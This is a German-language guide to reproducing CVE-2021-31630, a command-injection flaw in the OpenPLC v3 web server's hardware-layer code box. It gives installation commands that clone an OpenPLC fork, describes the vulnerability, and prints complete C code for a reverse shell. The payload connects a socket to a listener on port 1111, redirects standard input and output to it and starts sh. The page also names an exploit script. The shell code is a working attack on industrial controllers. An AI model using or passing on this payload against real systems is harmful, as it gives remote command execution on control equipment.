
So reproduzieren Sie CVE-2021-31630
OpenPLC ist eine quelloffene, softwarebasierte, benutzerfreundliche speicherprogrammierbare Steuerung. Unser Fokus liegt auf der Bereitstellung einer kostengünstigen industriellen Lösung für Automatisierung und Forschung. OpenPLC wurde in vielen Forschungsarbeiten als Framework für industrielle Cybersicherheitsforschung verwendet, da es die einzige Steuerung ist, die den vollständigen Quellcode bereitstellt. Das OpenPLC-Projekt umfasst drei Unterprojekte:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
Wobei [platform] sein kann:
win - OpenPLC unter Windows über Cygwin installieren
linux - OpenPLC auf einer Debian-basierten Linux-Distribution installieren
docker - Wird vom Dockerfile verwendet (d.h. ruft nicht sudo auf)
rpi - OpenPLC auf einem Raspberry Pi installieren
custom - Alle spezifischen Paketinstallationen überspringen und versuchen, OpenPLC zu installieren, vorausgesetzt, Ihr System erfüllt bereits alle Abhängigkeiten. Diese Option kann nützlich sein, wenn Sie OpenPLC auf einer nicht unterstützten Linux-Plattform installieren möchten oder die Abhängigkeitspakete zuvor manuell installiert haben.
CVE-2021-31630 ist eine Schwachstelle vom Typ Code/Command Injection im WebServer von OpenPLC (Version v3, die von der Community weit verbreitet ist). Der Fehler liegt in der Funktion zum Laden/Bearbeiten von Code in der /hardware-Schnittstelle (Hardware Layer Code Box), wo Eingabedaten nicht ausreichend gefiltert/bereinigt werden, bevor sie auf der Serverseite verarbeitet werden, was zur Ausführung von Code unter den Berechtigungen des Webserver-Prozesses führt. Die Schwachstelle wurde 2021 veröffentlicht und hat in öffentlichen Schwachstellendatenbanken eine hohe Schwere.
Technische Beschreibung (auf Verteidigungsebene): Die Webschnittstelle akzeptiert einen vom Benutzer eingegebenen "Hardware-Layer-Code". Diese Daten werden dann von Serverkomponenten verarbeitet, die in der Lage sind, zu kompilieren/zu normalisieren oder in einen Befehlskontext zu überführen, ohne eine Überprüfung, Filterung von Sonderzeichen oder strenge Einschränkungen durchzuführen. Unter bestimmten Bedingungen (z. B. wenn die Daten in eine Systembefehlszeichenfolge eingefügt oder direkt an eine Codeverarbeitungsfunktion übergeben werden) kann ein Angreifer Steuerungssequenzen einfügen, die den Ausführungsablauf ändern.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Exploit-Code: cve-2021-31630.py